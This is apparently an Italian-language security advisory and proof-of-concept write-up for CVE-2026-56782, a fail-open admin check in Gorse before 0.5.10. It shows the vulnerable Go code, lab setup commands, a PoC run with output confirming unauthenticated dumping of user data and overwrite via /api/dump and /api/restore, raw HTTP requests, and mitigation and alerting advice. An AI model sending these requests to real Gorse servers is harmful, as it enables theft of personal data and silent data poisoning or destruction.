
CVE-2026-56782 — Gorse <0.5.10 dump/ripristino DB non autenticato (admin_api_key fail-open). Lab + PoC, verificato e2e.
Gorse
< 0.5.10viene fornito conadmin_api_key = "". Gli endpoint HTTP master/api/dumpe/api/restoresono protetti da un controllo admin che si apre in fallback quando nessuna chiave è configurata — il comportamento predefinito. Un attaccante non autenticato e raggiungibile in rete può esfiltrare l'intero dataset (utenti, elementi, feedback / dati personali) o sovrascriverlo.
| CVE | CVE-2026-56782 |
| Versione affetta | Gorse < 0.5.10 |
| Corretta in | 0.5.10 |
| Classe | CWE-305 (Authentication Bypass by Primary Weakness) / CWE-306 (Missing Auth) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna ( admin_api_key predefinito vuoto) |
| Endpoint | GET /api/dump, POST /api/restore (master HTTP, porta predefinita 8088) |
| Stato | CONFERMATO — riprodotto end-to-end contro zhenghaoz/gorse-in-one:0.5.8 |
master/rest.go protegge i gestori dump/restore con checkAdmin():
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open: nessuna chiave configurata => tutti sono admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // trasmette ogni riga di utente, elemento e feedback
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — sovrascrive il dataset
}
Il file config/config.toml fornito imposta admin_api_key = "". Con la configurazione predefinita, checkAdmin() restituisce true per ogni richiesta — l'header X-API-Key non viene mai consultato — quindi entrambi gli endpoint sono leggibili e scrivibili da chiunque.
GET /api/dump trasmette l'intero database: ogni id utente ed etichette, ogni elemento e l'intero grafo dei feedback (chi ha interagito con cosa). Per un sistema di raccomandazione a supporto di un prodotto reale, si tratta di dati personali/di comportamento in massa.POST /api/restore sostituisce il dataset con contenuto fornito dall'attaccante, consentendo l'avvelenamento silenzioso dei dati o la loro distruzione.# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
# --playground seeds a real users/items/feedback dataset to exfiltrate.
# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
Risultato osservato:
[*] GET http://127.0.0.1:8088/api/dump (no X-API-Key header)
[*] HTTP 200 content-type: application/octet-stream
[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.
Un header X-API-Key falso restituisce comunque 200 — confermando che la chiave viene ignorata completamente quando admin_api_key non è impostato (il percorso fail-open), non semplicemente non corrisposta.
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>
admin_api_key forte (e credenziali per la dashboard), terminare TLS davanti al master e non esporre mai la porta HTTP master (8088) a reti non fidate.Allertare su GET /api/dump o POST /api/restore verso la porta master da qualsiasi client privo di un X-API-Key valido, e su risposte application/octet-stream grandi da /api/dump.
Vedi ANALYSIS.md per il flusso delle richieste, il formato dello stream dump e la patch.